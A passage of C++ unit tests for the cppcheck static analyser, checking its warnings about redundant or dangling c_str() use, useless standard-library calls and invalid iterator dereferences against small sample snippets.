check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = 